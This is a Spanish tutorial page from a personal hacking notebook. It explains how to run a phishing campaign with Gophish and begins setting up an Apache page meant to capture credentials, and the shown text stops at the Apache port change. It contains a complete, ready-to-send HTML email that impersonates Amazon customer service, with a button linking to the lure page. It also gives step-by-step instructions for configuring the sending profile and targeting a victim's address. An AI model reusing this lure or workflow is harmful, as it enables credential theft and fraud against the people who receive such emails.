h4cker_b00k
  • Whoami
  • ARTIUCLOS
    • Tratamiento para la TTY
    • Permisos SUID
    • Honeypot
    • File2ban Privilege Escalation
    • Reversing Shell's (Creación)
    • Pfsense Firewall Configuración GUIA
    • EternalBlue Conf y Explotación
    • BlueKeep Conf y Explotación
    • Pass-The-Hash en Metasploit
    • Keylogger Automatizado
    • Visualizar Webcam en Windows
    • Kernel Conf Exploit
    • RevrseShell Oculta en windows
    • Crear CTF en Docker
    • Crear Dominio y Subdominio en apache2
    • Sticky Keys Hack
    • Bypass Login Linux (GRUB)
    • WOL (Wake On Lan) Conf
    • Shell Persistente PowerShell
    • Remcos (Técnica RAT)
    • Entorno virtual Anaconda/Miniconda Python
    • CVE-2024-10924 (Bypass-MFA-Wordpress)
    • CVE-2024-21413 (Outlook)
    • CVE-2023-32784 (Keepass-password-dump)
    • FTP vsftpd-2.3.4 backdoor
    • Activación de Office Permanente
    • Instalar SPSS (crack)
    • Servidor Node.js en Windows
    • Establecer Banner de entrada Ubuntu Server
    • Configuración de VLANs en Switch (PuTTY)
    • Crear Entorno Vulnerable en Nube Local (Docker)
  • Linux
    • Determinar S.O. (Victima)
  • Windows
    • Comandos Windows S.0.
    • Bypass UAC (Windows)
  • HERRAMIENTAS/TÉCNICAS
    • HackingWeb
      • SQL Injection
      • XSS (Cross Site Scripting)
      • NoSQL Injection
      • XXE Injection
      • Serialización/Deserialización
        • Deserialización Insegura Java (LAB)
        • Deserialización Insegura (PHP, Python y Java)
        • Deserialización Insegura PHP
        • Deserialización Insegura Python
      • Vulnerabilidad Open Redirect
      • XEE (XML External Entity Injection)
      • SSTI (Server-Side Template Injection)
      • Prototype Pollution (Contaminación de prototipos) JavaScript
      • IDOR (Insecure Direct Object Reference)
      • CORS (Cross-Origin Resource Sharing)
        • PortSwigger - CORS vulnerability with basic origin reflection
      • CSRF (Cross-Site Request Forgery)
    • Ingeniería Inversa
      • Radare2
    • Reconocimiento
      • NMAP
      • Dominios/Subdominios
      • Fuzzing
      • Crackmapexec
    • Explotación
      • LFI (Local File Inclusion)
      • Evil-winrm
      • Serealizacion/Deserealizacion
      • Poetry
    • Post-Explotación
      • Port Forwarding
      • A.D. Group Server Operators
      • Decrypt Firefox
    • Criptología
      • Openssl bruteforce script
    • Phishing
      • Phishing - Tools
      • Phishing Técnicas y Resultados
    • BadUSB
      • Digispark/USB Ninja (Función)
      • Digispark (Script)
      • Lista de signos Digispark
      • Bash Bunny
      • ScreenCrab
      • KeyCroc
      • Rubber Ducky
      • USB AutoRun
    • Hacking ActiveDirectory
      • KERBEROASTING Active Directory
      • Active Directory Hacking (Practicas-Teoria)
      • Active Directory Hacking (Auditorias entorno real)
    • DOXEO
      • BoxPiper Pagina Doxeo
      • Epieos Pagina Doxeo
      • Exposed Pagina Doxeo (Correo, numero, etc...)
      • GitHub Para Doxear
      • Hunter Pagina Doxeo
      • IntelligenceX Pagina Doxeo
      • OSINT Industries Pagina Doxeo (Correo, numero, etc...)
      • Phomber GitHub (Doxeo Numero de Teléfono)
      • Temp Mail Pagina Correos Temporales
    • Hacking Wifi
      • Reaver
      • Aircrack-ng (Practica)
    • BOF
      • Introducción
      • ret2win
      • Secuencias de De Bruijn
      • Shellcode
      • NOPs
      • 32-bit vs 64-bit
      • No eXecute (NX)
      • Programación Orientada al Retorno (ROP)
      • Error de Cadena de Formato
      • Stack Canaries
      • Ejecutables Independientes de Posición (PIE)
      • Aleatorización del Espacio de Direcciones (ASLR)
      • Sobrescritura de la Tabla de Desplazamiento Global (GOT)
      • RELRO (Relocation Read-Only)
      • Shellcode Confiable
      • One Gadgets y Malloc Hook
      • Syscalls (Llamadas al Sistema)
      • ret2dlresolve
      • ret2csu
      • Explotación a Través de Sockets
      • Creación de Procesos: fork
      • Stack Pivoting
  • CTF
    • VulnHub
      • Basic_Pentesting_1 VulnHub
      • Basic_Pentesting2 VulbHub
      • Corrosion2 VulnHub
      • BassamCTF VulnHub
      • BORN2ROOT_2 VulnHub
      • CengBox VulnHub
      • Chill_hack VulnHub
      • CK-00 VulnHub
      • Clover_1 VulnHub
      • Cofeeaddicts VulnHub
      • Connect-The-Dots VulnHub
      • djinn_2 VulnHub
      • driftingblues_7 VulnHub
      • doubletrouble VulnHub
      • Dripping_blues VulnHub
      • Durian VulnHub
      • Election VulnHub
      • Empire Lupin One VulnHub
      • EVILBOX_ONE VulnHub
      • Funbox_Lunchbreaker VulnHub
      • Gaara VulnHub
      • Gigachad_vh VulnHub
      • HACK ME PLEASE VulnHub
      • HACKATHONCTF2 VulnHub
      • Hackeable ll VulnHub
      • Hacksudo_Aliens VulnHub
      • Ica1 VulnHub
      • Jangow VulnHub
      • Jetty VulnHub
      • LiterallyVulnerable VulnHub
      • Masashi VulnHub
      • MINU_1 VulnHub
      • Momentum VulnHub
      • MoneyBox VulnHub
      • Monitoring VulnHub
      • Noob VulnHub
      • Odin VulnHub
      • Photographer VulnHub
      • Prime_2 VulnHub
      • PYLINGTON VulnHub
      • RootThis_1 VulnHub
      • Seppuku VulnHub
      • shenron-3 VulnHub
      • Shuriken_1 VulnHub
      • So_simple_1 VulnHub
      • Stapler VulnHub
      • Sumo VulnHub
      • SUNSET_DUSK VulnHub
      • Symfonos_1 VulnHub
      • System_failure VulnHub
      • Thales VulnHub
      • THOTH_TECH_1 VulnHub
      • unknowndevice64 VulnHub
      • Vikings VulnHub
      • ColddBoxEasy_EN VulnHub
      • KB-VULN3 VulnHub
      • Funbox_CTF_4 VulnHub
      • NASEF_1 LOCATING TARGET VulnHub
      • NiveK VulnHub
    • HackTheBox
      • Usage HackTheBox
      • Perfection HackTheBox
      • Headless HackTheBox
      • Editorial HackTheBox
      • Builder HackTheBox
      • BoardLight HackTheBox
      • Bizness HackTheBox
      • Chemistry HackTheBox
      • Titanic HackTheBox
    • TryHackMe
      • RootMe TryHackMe
      • Bounty Hacker TryHackMe
      • Mr Robot CTF TryHackMe
      • Creative TryHackMe
    • Dockerlabs
      • AaguaDeMayo DockerLabs (Easy)
      • Asucar DockerLabs (Intermediate)
      • Bashpariencias DockerLabs (Intermediate)
      • Chocolatefire DockerLabs (Intermediate)
      • Collections DockerLabs (Intermediate)
      • Skullnet Dockerlabs (Difícil)
      • Mirame DockerLabs (Easy)
      • Buscalove DockerLabs (Easy)
      • Hidden DockerLabs (Intermediate)
      • Hackpenguin DockerLabs (Intermediate)
      • Fileception DockerLabs (Intermediate)
      • Domain DockerLabs (Intermediate)
      • ChatMe DockerLabs (Intermediate)
      • Devil DockerLabs (Intermediate)
      • Usersearch DockerLabs (intermediate)
      • Insecure DockerLabs (Hard)
      • Debugme DockerLabs (Hard)
      • Forgotten_portal DockerLabs (Intermediate)
      • Elevator DockerLabs (Easy)
      • Stack DockerLabs (Intermediate)
      • Hedgehog DockerLabs (Very Easy)
      • Report DockerLabs (intermediate)
      • Reverse DockerLabs (intermediate)
      • Reflection DockerLabs (Easy)
      • Spain DockerLabs (Hard)
      • Raas DockerLabs (Hard)
      • Database DockerLabs (Intermediate)
      • DevTools DockerLabs (intermediate)
      • Dockerlabs DockerLabs (Easy)
      • PyRed DockerLabs (Intermediate)
      • SecretJenkins DockerLabs (Easy)
      • Backend DockerLabs (Easy)
      • Eclipse DockerLabs (intermediate)
      • Cachopo DockerLabs (Intermediate)
      • Fooding DockerLabs (Intermediate)
      • Extraviado DockerLabs (Easy)
      • DockHackLab DockerLabs (Intermediate)
      • SummerVibes DockerLabs (Hard)
      • WalkingCMS DockerLabs (Easy)
      • Patriaquerida DockerLabs (Easy)
      • Psycho DockerLabs (Easy)
      • Picadilly DockerLabs (Easy)
      • Anonymouspingu DockerLabs (Easy)
      • Veneno DockerLabs (Intermediate)
      • DoubleTrouble DockerLabs (Hard)
      • FindYouStyle DockerLabs (Easy)
      • Move DockerLabs (Easy)
      • Los 40 Ladrones DockerLabs (Easy)
      • Library DockerLabs (Easy)
      • NorC DockerLabs (Hard)
      • Predictable DockerLabs (Hard)
      • Winterfell DockerLabs (Easy)
      • Pntopntobarra DockerLabs (Easy)
      • ConsoleLog DockerLabs (Easy)
      • Queuemedic DockerLabs (Hard)
      • Stranger DockerLabs (Intermediate)
      • WhereIsMyWebShell DockerLabs (Easy)
      • Insanity DockerLabs (Hard)
      • NodeClimb DockerLabs (Easy)
      • MyBB DockerLabs (Intermediate)
      • Seeker DockerLabs (Intermediate)
      • sjd DockerLabs (Very Easy)
      • Hiddencat DockerLabs (Easy)
      • Verdejo DockerLabs (Easy)
      • ChocolateLovers DockerLabs (Easy)
      • Pinguinazo DockerLabs (Easy)
      • Vendetta DockerLabs (Easy)
      • Pequenas-mentirosas DockerLabs (Easy)
      • Balulero DockerLabs (Easy)
      • Whoiam DockerLabs (Easy)
      • Apolos DockerLabs (Intermediate)
      • Injection DockerLabs (Very Easy)
      • Unrecover DockerLabs (Intermediate)
      • Trust DockerLabs (Very Easy)
      • Firsthacking DockerLabs (Very Easy)
      • BreakMySSH DockerLabs (Very Easy)
      • Borazuwarahctf DockerLabs (Very Easy)
      • Vacaciones DockerLabs (Very Easy)
      • Obsession DockerLabs (Very Easy)
      • Swiss DockerLabs (Intermediate)
      • Internship DockerLabs (Easy)
      • Canario DockerLabs (Hard)
      • ApiRoot DockerLabs (Intermediate)
      • Amor DockerLabs (Easy)
      • Walking Dead DockerLabs (Easy)
      • Master DockerLabs (Intermediate)
      • StrongJenkins DockerLabs (Intermediate)
      • PingPong DockerLabs (Intermediate)
      • Allien DockerLabs (Easy)
      • Paradise DockerLabs (Easy)
      • ApiBase DockerLabs (Easy)
      • Smashing DockerLabs (Hard)
      • Rubiks DockerLabs (Intermediate)
      • Inclusion DockerLabs (Intermediate)
      • Sites DockerLabs (Intermediate)
      • Upload DockerLabs (Easy)
      • ShowTime DockerLabs (Easy)
      • MachuPicchu DockerLabs (Intermediate)
      • ChocoPing DockerLabs (Intermediate)
      • Crystalteam DockerLabs (Intermediate)
      • Balufood DockerLabs (Easy)
      • Bicho DockerLabs (Easy)
      • Gallery DockerLabs (Hard)
      • Ciberguard DockerLabs (Intermediate)
      • Galeria DockerLabs (Easy)
      • TheDog DockerLabs (Intermediate)
    • BugBountyLabs
      • Reflection BugBountyLabs (Principiante)
      • Escape BugBountyLabs (Principiante)
      • DogShow BugBountyLabs (Avanzado)
      • Trr0rlabs BugBountyLabs (Avanzado)
      • XSSaS BugBountyLabs (Experto)
      • Redirection BugBountyLabs (Principiante)
      • HiddenRedirection BugBountyLabs (Principiante)
      • Corsy BugBountyLabs (Avanzado)
      • Forgery BugBountyLabs (Principiante)
      • ConnectX BugBountyLabs (Principiante)
      • NeoMarket BugBountyLabs (Avanzado)
      • Access BugBountyLabs (Principiante)
      • Listing BugBountyLabs (Principiante)
    • TheHackersLabs
      • Quokka (Windows) TheHackersLabs (Principiante)
      • Microchoft (Windows) TheHackersLabs (Principiante)
      • Ensalá Papas (Windows) TheHackersLabs (Principiante)
      • Accounting (Windows) TheHackersLabs (Principiante)
      • Cocido Andaluz (Windows) TheHackersLabs (Principiante)
      • Espeto Malagueño (Windows) TheHackersLabs (Principiante)
    • HackMyVM
      • Liar HackMyVM (Easy - Windows)
      • Zero HackMyVM (Easy - Windows)
      • Simple HackMyVM (Easy - Windows)
      • TriplAdvisor HackMyVM (Easy - Windows)
      • Runas HackMyVM (Easy - Windows)
      • Always HackMyVM (Easy - Windows)
      • DC01 HackMyVM (Easy - Windows)
      • quoted HackMyVM (Easy - Windows)
      • Nessus HackMyVM (Easy - Windows)
      • Jan HackMyVM (Easy - Linux)
      • DC02 HackMyVM (Intermediate - Windows)
      • Qweasd HackMyVM (Intermediate - Linux)
      • Gift HackMyVM (Easy - Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Smol HackMyVM (Intermediate - Linux)
      • Noob HackMyVM (Easy- Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Hundred HackMyVM (Intermediate - Linux)
      • Driftingblues6 HackMyVM (Easy- Linux)
      • Alzheimer HackMyVM (Easy- Linux)
      • Tron HackMyVM (Easy- Linux)
      • Superhuman HackMyVM (Easy- Linux)
      • Ripper HackMyVM (Easy- Linux)
      • Gigachard HackMyVM (Easy- Linux)
      • Hidden HackMyVM (Easy- Linux)
      • Method HackMyVM (Easy- Linux)
      • Hostname HackMyVM (Easy- Linux)
      • BaseME HackMyVM (Easy- Linux)
      • May HackMyVM (Intermediate - Linux)
      • Driftingblues3 HackMyVM (Easy- Linux)
      • hommie HackMyVM (Easy- Linux)
      • forbidden HackMyVM (Intermediate- Linux)
      • t800 HackMyVM (Easy - Linux)
      • Twisted HackMyVM (Easy- Linux)
      • Connection HackMyVM (Easy - Linux)
      • Flower HackMyVM (Easy- Linux)
      • Helium HackMyVM (Easy- Linux)
      • Suidy HackMyVM (Intermediate - Linux)
      • WebMaster HackMyVM (Easy - Linux)
      • Locker HackMyVM (Easy - Linux)
      • Soul HackMyVM (Hard - Linux)
      • Visions HackMyVM (Easy - Linux)
      • Friendly3 HackMyVM (Easy - Linux)
      • Friendly HackMyVM (Easy - Linux)
      • Friendly2 HackMyVM (Easy - Linux)
      • Comingsoon HackMyVM (Easy - Linux)
      • SuidyRevenge HackMyVM (Hard - Linux)
      • Insomnia HackMyVM (Easy - Linux)
      • Uvalde HackMyVM (Easy - Linux)
      • System HackMyVM (Easy - Linux)
    • CTF's
      • CTF Avengers Easy
      • CTF Ciberhack Intermediate
      • Ghost CTF Hard
      • CTF Cyb3rSh1€ld Intermediate
      • CTF HackMeDaddy Hard
      • CTF inj3ct0rs Intermediate
      • CTF LFI.elf Easy
      • CTF Ctrl-X Easy
      • CTF r00tless Hard
      • CTF 0xc0ffee Intermediate
      • CTF Memesploit Intermediate
      • CTF Jenkhack Easy
      • CTF chmod-4755 Intermediate
      • CTF 404-not-found Easy
      • CTF dance-samba Intermediate
      • CTF VulnVault Intermediate
      • CTF CrackOff Hard
      • CTF PressEnter Easy
      • CTF Mapache2 Intermediate
      • CTF Hackzones Intermediate
      • CTF Darkweb Hard
      • CTF Flow Hard
      • CTF Sender Intermediate
      • CTF Cracker Intermediate
      • CTF Express Intermediate
      • CTF CineHack Intermediate
      • CTF LifeOrDead Hard
      • CTF TpRoot Very Easy
      • CTF Gitea Intermediate
      • CTF SecureLAB Hard
      • CTF Goodness Easy
      • CTF LogisticCloud Intermediate
  • Conceptos de Ciberseguridad en Hacking Ético
    • Contenido...
      • Teoría Hacking Ético
        • Introducción
      • Recopilación Pasiva de información
        • Introducción
        • Hacking con buscadores de internet
        • Pagina Shodan
        • Pagina Censys
        • Registros o BBDD Whois
        • Archive (Análisis de información histórica)
        • TheHarvester
          • TheHarvester Herramienta
          • Bloqueo temporal de dirección IP pública
        • Maltego
          • Instalacion de maltego en kali linux
          • Funcionamiento de Maltego
          • Instalar transformador con API Key
          • Utilizar transformador shodan en maltego
        • Recon-ng Herramienta
      • Recopilación Semi-Pasiva de información
        • Introducción
        • Entorno controlado (LAB)
        • FOCA (Análisis de metadatos)
          • Introducción FOCA
          • Instalar FOCA
          • Funciones de FOCA
        • Herramientas alternativas para Kali de extracción de metadatos
          • Herramienta Metagoofil
          • Herramienta Metashield-analyzer
        • Introducción al protocolo DNS
        • CentralOps y DNSdumpster
          • CentralOps
          • DNSdumpster
        • Sniffers
          • Wireshark
          • TCPdump
      • Recopilación Activa de información
        • Introducción
        • Metasploitable3
          • Entorno vulnerable (Metasploitable3 (Presentación))
          • Instalacion de Metasploitable3
          • Linux Ubuntu-Windows Server 2008 - Metasploitable3
        • DNSRecon Herramienta (Ficheros de zona)
        • Nmap Herramienta
          • Introducción
          • Descubrimiento de hosts (Host Discovery)
          • Escaneo de puertos
          • Descubrimiento de servicios
          • Amap (descubrimiento de servicios)
          • Nmap (identificación del sistema operativo)
          • Nmap (SMB Enumeration)
          • Nmap (SNMP enumeration)
      • Análisis de vulnerabilidades
        • Introducción
        • CVE, CVSS, CPE - Common Vulnerabilities and Exposures
        • Análisis de vulnerabilidades con Nmap
        • Nessus Herramienta (Mas utilizada)
          • Instalación Nessus
          • Nessus (Análisis básico de vulnerabilidades)
          • Nessus (Análisis avanzado de vulnerabilidades)
        • Otras Herramientas
      • Explotación y Hacking de vulnerabilidades en Hosts
        • Explotación de vulnerabilidades
        • Explotacion manual de vulnerabilidades Host
        • Metasploit Herramienta
          • Introducción
          • Metasploit (Explotación básica)
          • Metasploit (explotación avanzada)
          • Metasploit (Creación de payloads personalizados)
          • Metasploit (Importando los resultados de Nessus)
          • Armitage (interfaz grafica de metasploit)
      • Explotación y Hacking de vulnerabilidades Web
        • Instalación de maquina virtual Ubuntu
        • Instalación aplicación Web vulnerable (Mutillidae II)
        • Burp Suite
          • Introducción
          • Spidering y Crawling con Burp Suite y skipfish
          • Inyecciones de codigo y contexto
        • Introducción (SQL Injection)
        • SQLmap Herramienta
          • SQLmap (Blind SQL Injection - Parte 1)
          • SQLmap (Funcionalidad - Parte 2)
        • Path Traversal o Directory Traversal
        • WebShells
        • Unrestricted File Upload
        • HTML Injection y Cross-Site-Scripting (XSS)
        • CSRF (Cross-site request forgery)
        • XSStrike Herramienta
        • Otras técnicas de explotación (Cookie Tampering, command injection...)
          • Command Injection
          • Cookie Tampering
        • Info Extra Burp Suite
      • Explotación y Hacking de vulnerabilidades en Red
        • Man in the middle (MITM)
        • Introducción e instalación de Bettercap
        • ARP Spoofing
        • DNS Spoofing
        • Social Engineering ToolKit (SET)
        • Polymorph Herramienta
          • Manipulación de trafico de red en tiempo real
          • Polymorph (Manipulación de trafico ICMP)
          • Polymorph (Manipulación de trafico MQTT)
          • BONUS (Explotando un fallo de seguridad en Windows 10)
          • DEMO (Explotación avanzada WINREG)
      • Técnicas de Post-Explotación
        • Introducción (Técnica de Post-Explotación)
        • Linux-Windows Meterpreter Post-Explotación
          • Linux (Meterpreter para Post-Explotación)
          • Windows (Meterpreter para Post-Explotación)
          • Elevación de privilegios (UAC Bypass)
          • Volcado de memoria con Mimikatz
        • Procdump y lsass.exe
        • Cracking de contraseñas (John the ripper y Hashcat)
        • Backdoors en binarios
        • Migración de meterpreter a otro proceso
        • Borrado de evidencias
          • Info
          • Linux (Herramientas Borrado de evidencias)
          • Windows (Herramientas Borrado de evidencias)
          • Archivos relevantes para eliminar
            • Rutas Windows Importantes que borrar
            • Rutas Linux Importantes que borrar
      • Machine Learning aplicado a Hacking
        • Introducción
        • Machine Learning aplicado a la Ciberseguridad
        • BATEA (Reconocimiento de hosts con ML)
        • Pesidious (Mutaciones con Deep Learning)
        • Ingeniería Social - Deep fake
  • ciberseguridad avanzada hacking ético
    • Contenido...
      • Entorno de aprendizaje
        • CherryTry
        • Entorno de trabajo (Kali Linux)
      • Recopilación avanzada de información
        • Introducción
        • Preparación del entorno - VulnHub
        • Preparación del entorno - Snort
        • Escaneo Avanzado de Hosts - Parte l
        • Escaneo avanzado de puertos
        • Fragmentación de paquetes con Nmap
        • Escaneo utilizando señuelos con Nmap
        • Spoofing de la identidad del atacante con Nmap
        • Control de velocidad de escaneo con Nmap
        • Escaneo en IPv6 con Nmap
        • Escaneo avanzado de servicios y OS
        • Alternativas a Nmap - Naabu y Netcat
        • Escaneo de puertos ultrarrápido - Masscan
      • Hacking Ético en entornos Active Directory - Parte 1
        • Introducción
        • Instalación y configuración del DC
        • Instalación de máquinas Windows en dominio
        • Características de AD - Usuarios, Grupos y OUs
        • Características de AD - GPOs y recursos compartidos
        • Recopilación de información en Active Directory
        • PowerView
        • Enumeración local de SAM
        • Enumeración remota de SAM
        • Impacket y Rpcclient
        • AD Module
        • Enumeración de NTDS - Parte 1
        • Enumeración de NTDS - Parte 2
        • Ldapsearch, pywerview, jxplorer
        • BloodHound
      • Hacking Ético en entornos Active Directory - Parte 2
        • Descriptores de seguridad y ACLs
        • Vulnerable AD
        • Identificación de ACLs vulnerables
        • Explotación de ACLs vulnerables
        • Explotación DCSync
        • Password Spraying
        • Funcionamiento de Kerberos
        • Kerberos en Active Directory
        • Enumeración de usuarios con Kerberos
        • Fuerza bruta con Kerberos
        • AS-REQ Roasting
        • Instalación Rubeus
        • AS-REP Roasting
        • TGS-REP Roasting (Kerberoasting)
      • Acceso a credenciales y movimientos laterales
        • Autenticación y Autorización en Windows
        • Volcado de Isass y SAM en Windows
        • Volcado de Isass y SAM en Linux
        • Volcado de credenciales de dominio cacheadas (mscash)
        • Pass-The-Hash con Windows
        • Pass-The-Hash con Linux
        • Over Pass-The-Hash - Pass-The-Key
        • Pass-The-Ticket
        • ASK-TGT - TGS
        • Kerberos Golden Ticket y Silver Ticket
        • NTLM Roasting
        • LLMNR - NBTNS Poisoning
        • NTLM - SMB Relay
        • Token impersonation
        • Problemas y errores instalación Covenant
        • Frameworks de postexplotación - Covenant
      • Hacking avanzado de aplicaciones web y Bug Bounty
        • Una palabras sobre Bug Bounty
        • Preparación del entorno vulnerable
        • Identificación de subdominios - Subfinder, Sublist3r y Subbrute
        • Identificación de tecnologías web - WhatWeb y WebAnalyzer
        • Identificación de contenido - Dirbuster
        • Gobuster y Seclists
        • Análisis de vulnerabilidades - OWASP ZAP Proxy
        • Nikto y Skipfish
        • Nuclei y Nuclei Templates
        • Fuzzing básico con ffuf
        • Fuzzing avanzado con ffuf
        • Explotación - Commix
        • Changeme, Gitleaks y CyberChef
      • Detección y evasión de defensas
        • Introducción a la evasión de defensas
        • Load Balancing detector - halberd
        • WAF detector - wafw00f
        • Evasión de WAF
        • Evasión de antivirus con C - Parte 1
        • Evasión de antivirus con C - Parte 2
        • Otras técnicas de evasión con C
        • Evasión de detección en tiempo real
        • Evasión con GreatSCT
        • Evasión con TheFatRat
        • Otras herramientas de evasión - Veil, Shellter, MSFManía...
      • Hacking Ético y Post-explotación avanzada
        • Port Forwarding
        • Port Forwarding con SSH
        • Pivoting
        • Netcat Port-Pivot Relay
        • Local Tunneling - LocalTunnel y Ngrok
        • Transferencia de ficheros
      • Hacking Ético en entornos reales (Amazon AWS)
        • Arquitectura y registro en la nube (AWS)
        • Infraestructura de red en la nube (AWS)
        • Seguridad y Computación en la nube (AWS)
        • Balanceadores y almacenamiento en la nube (AWS)
        • Recopilación de información en un entorno real
        • Controles de seguridad en un entorno real
        • Auditando la infraestructura interna
        • Tipos de auditorias de seguridad
  • PROYECTO DAM
    • Documentación PROYECTO_DAM
Powered by GitBook
On this page
  • Gophish [Configuracion]
  • Pagina Phishing [Configuracion apache2, mysql, ngrok, etc...]
  • MySQL [Configuracion de captacion de credenciales]
  • ngrok [Configuracion]
  1. HERRAMIENTAS/TÉCNICAS
  2. Phishing

Phishing Técnicas y Resultados

Gophish [Configuracion]

Lo primero de todo tendremos que descargar la herramienta de Gophish y que cree el servidor donde se aloja la pagina web para poder empezar a configurarla...

URL (Gophish) = https://github.com/gophish/gophish

Por lo que lo descargaremos de la siguiente manera...

git clone https://github.com/gophish/gophish.git
cd gophish/
go build

Una vez instalado todo y construido, lo ejecutaremos de la siguiente manera...

gophish

Cuando se ejecute la aplicacion las credenciales se mostraran en la terminal para que puedas iniciar sesion a parte de que se abrira automaticamente el login, pero en tal caso de que no se abriera nos proporcionara la URL para poder ingresarla en internet...

level=info msg="Please login with the username admin and the password <PASSWORD>"

Sabremos que el usuario sera admin y la password cambiara dependiendo del usuario, el link sera el siguiente...

URL = https://127.0.0.1:3333/

Cuando inicies sesion con las credenciales por defecto, te pedira que cambies la contraseña y una vez hecho eso, nos metera en la pagina para poder empezar a configurarla...

Lo primero que configuraremos sera la parte llamada como Email Templates y dentro del mismo crearemos uno nuevo donde pone [+] New Template para asi poder crear el email que va a ver el usuario cuando se le envie...

En la parte de Name: ponemos el nombre que queramos en mi caso le pondre GMAIL PHISHING, donde pone Envelope Sender: ponemos el email que queremos que se vea cuando le llegue al usuario paar que sea todo mas real, donde pone Subject: ponemos el titulo o la cabecera del correo que le va a llegar al usuario y por ultimo en la misma parte un poco mas abajo hay 2 opciones llamadas Text y HTML elegiremos HTML para poder programar el correo entero por asi decirlo, os dejo un ejemplo del codigo que programe y como se veria...

Codigo:

<html>
<head>
	<title></title>
	<style type="text/css">.input_letter {
font-size: 17px;
font-weight: bold;
}

.line {
color: grey;
height: 0.1px;
}

.line_head {
color: orange;
height: 10px;
background-color: orange;
border: none;
margin-top: 0px;
}

.box {
background-color: rgba(220, 220, 220,0.45);
border-radius: 3px;
padding: 10px;
font-size: 12.5px;
color: rgb(130, 130, 130);
}

span.letter {
font-family: Verdana, Geneva, Thaoma, sans-serif;
}

body {
font-family: Verdana, Geneva, Thaoma, sans-serif;
color: black;
}
	</style>
</head>
<body>
<hr class="line_head" />
<p><img src="https://www.sosgats.org/wp-content/uploads/2017/01/logo-amazon.jpg" width="300" /></p>

<hr class="line" />
<p>Estimado/a cliente,<br />
<br />
Lamentamos informarle que ha habido un problema con uno de sus pedidos recientes en Amazon. Para resolver este problema y asegurarnos de que reciba su pedido a tiempo, necesitamos que confirme algunos detalles de su cuenta.<br />
<br />
Si no resuelve este problema, es posible que su pedido se retrase o sea cancelado. Agradecemos su pronta atenci&oacute;n a este asunto.<br />
<br />
Si tiene alguna pregunta o necesita asistencia adiccional, no dude en contactarnos a traves de nuestro servicio de atenci&oacute;n al cliente.<br />
<br />
Atentamente,<br />
<br />
Equipo de Atenci&oacute;n al Cliente Amazon.</p>

<p><a href="{{.URL}}"><input class="input_letter" style="background-color: orange; border: none; border-radius: 3px; padding: 15px 32px;" type="submit" value="Seguimiento de tu pedido" /></a></p>

<div class="box"><span class="letter">Si en el futuro prefieres no recibir correos electr&oacute;nicos de Amazon de este tipo, selecciona la exluci&oacute;n voluntaria <a href="{{.URL}}">aqu&iacute;</a></span><br />
<br />
<span class="letter">Referencia AKDFGD27DKIEHFU6-JDLJDJS423ILFPBNGS Amazon EU Sarl. Luxemburgo, Reg# B-1810102, 5 Rue Plaetis, L-23824 Luxemburgo. VAT # LU 2026781.</span><br />
&nbsp;
<p><img src="https://niveldecalidad.com/wp-content/uploads/2022/09/PAGINA_AMAZON_2-02.png" width="100" /></p>
</div>
</body>
</html>

Perspectiva:

Donde pone en el codigo {{.URL}} es donde sustituiremos eso por el link que nos proporcionara la herramienta ngrok pero eso mas adelante...

Una vez creado el correo lo guardaremos y nos iremos a la seccion de Sending Profiles le daremos a crear uno nuevo [+] New Profile donde pone Name: pondremos el nombre que queramos sera para nosotros identificarlo en mi caso le llamare PHISHING SMTP, donde pone SMTP From: le pondremos el correo donde esta configurado nuestro servidor SMTP o el que viene por defecto en nuestro correo creado de hotmail...

Ejemplo SMTP From:

SMTP From: example@hotmail.com

Donde pone Host: pondremos el identificador de nuestro servidor SMTP o el por defecto que viene en Microsoft...

Ejemplo Host:

Host: smtp-mail.outlook.com:587

Y por ultimo donde pone Username y Password pondremos en Username lo mismo que metimos en SMTP From y en Password la contraseña de ese correo...

Ejemplo Username y Password:

Username: example@hotmail.com

Password: secret123

Ahora nos dirigimos a la seccion de Landing Pages crearemos una pagina pero que no servira para nada, ya que no la utilizaremos pero la herramienta Gophish obliga a tener una, pero mas adelante ya crearemos una pagina en nuestro puerto local de apache2...

En mi caso a la pagina la llame test en la opcion Name: y la guardaremos [!] Aviso: esta pagina no va a servir para nada, es solo por que la herramienta lo pide...

Despues nos dirigimos en la parte de Users & Groups dentro del mismo crearemos uno donde pone [+] New Group, en la parte de Name: pondremos un nombre para identificarlo en mi caso lo llame Example_group, y en las casillas llamadas...

First Name: Example

Last Name: Test

Email: attack@gmail.com

Position: CEO

Estas opciones las estamos configurando para que cuando enviemos el correo aparezca con el nombre y apellidos a parte de la posicion laboral que va a ser visible por el usuario si se pusiera a buscar, por lo que lo tendremos que adaptar al tipo de phishing que estemos haciendo y por ultimo donde pone Email: pondremos el email con el que enviaremos el phishing (Nuestro email)...

Una vez configurado todo lo añadiremos [+] Add y lo guardaremos todo...

Ya por ultimo nos vamos a la seccion llamada Campaigns y le daremos a [+] New Campaign dentro de la configuracion lo configuraremos de la siguiente manera...

Donde pone Name: pondremos el nombre con el que lo queramos identificar en mi caso lo llamare test_phishing, en la parte de Email Template: pondremos el email que creamos anteriormente en mi caso lo llame GMAIL PHISHING, en la parte de Landing Page: pondremos el que llamamos test, donde pone URL: pondremos para todos lo mismo http://localhost, en la parte de Sending Profile: pondremos la configuracion del SMTP que creamos anteriormente en mi caso llamado PHISHING SMTP y por ultimo en la parte de Groups: seleccionaremos el grupo anteriormente creado llamado en mi caso test_group...

Como deberia de verse:

Una vez puesto todo lo anterior no guardaremos nada, le daremos en la opcion llamada Send Test Email y dentro de la misma se configurara de la siguiente forma...

First Name: Victim

Last Name: Test

Email: victim@gmail.com

Position: CEO

Lo importante de aqui es poner en la parte de Email: el email del usuario victima al que se lo queremos mandar, pero antes de hacerlo, crearemos la pagina web phishing desde nuestra terminal de la siguiente manera y ya retomaremos esta parte del envio...

Pagina Phishing [Configuracion apache2, mysql, ngrok, etc...]

Lo primero que haremos sera instalar apache2...

sudo apt install apache2

Pero no podremos iniciarlo con systemctl ya que por defecto se aloja en el puerto 80 y ese puerto ya esta cogido por un proceso de la herramienta Gophish por lo que cambiaremos de puerto a apache2 de la siguiente forma...

nano /etc/apache2/ports.conf

#Dentro del nano
Listen <PORT>

Ejemplo (PORT):

nano /etc/apache2/ports.conf

#Dentro del nano
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 7755

<IfModule ssl_module>
        Listen 443
</IfModule>

<IfModule mod_gnutls.c>
        Listen 443
</IfModule>

Lo guardamos y con eso ya habriamos cambiado el puerto del apache2, por lo que ahora lo iniciaremos...

systemctl start apache2
systemctl enable apache2

Con esto ya estaria en funcionamiento y establecido cada vez que se arranque el S.O. el apache2...

